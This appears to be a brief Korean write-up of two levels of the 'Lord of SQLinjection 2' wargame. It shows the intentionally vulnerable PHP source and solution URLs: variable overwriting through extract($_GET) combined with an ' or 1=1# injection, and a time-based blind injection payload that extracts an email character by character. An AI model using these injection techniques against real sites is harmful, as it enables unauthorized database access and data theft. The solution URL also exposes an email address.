Lord Of SQLinjection2 Gremlin~ing
http://rubiya.uproot.co.kr/los2/gate.php
Gremlin
<?php
extract($_GET);
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|union/i', $id)) exit("No Hack ~_~"); // just warming up bitch
if(preg_match('/prob|_|\.|union/i', $pw)) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$id}' and pw='{$pw}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == "admin") $isAdmin = 1;
if(($result['id']) && ($isAdmin == 1)) solve("gremlin");
highlight_file(__FILE__);
?>
소스.
union을 쓸수없다. 근데 ?id=admin'%23처럼 입력해보면 알겠지만 통과가 안되는걸로 봐서 테이블 내부에 admin이 없다. 그럼 다른 방법으로 해야된다. $_GET을 그냥 extract로 추출하므로....
http://rubiya.uproot.co.kr/los2/gremlin_1bdc013f73948e91be98187bb6b97a47.php?isAdmin=1&id=%27%20or%201=1%23
처럼 get으로 isAdmin을 세팅해주고, id에는 아무값이나 나오게 하면 풀린다.
cobolt.
http://rubiya.uproot.co.kr/los2/cobolt_260067a046708d42f308ae831e4fa51f.php?order=-1,if(id=%27admin%27%20and%20ascii(substr(email,1,1))%3E32,sleep(1),1)
프로그램 짜서 돌리면 된다.
http://rubiya.uproot.co.kr/los2/cobolt_260067a046708d42f308ae831e4fa51f.php?email=yabiru850@gmail.com
..ing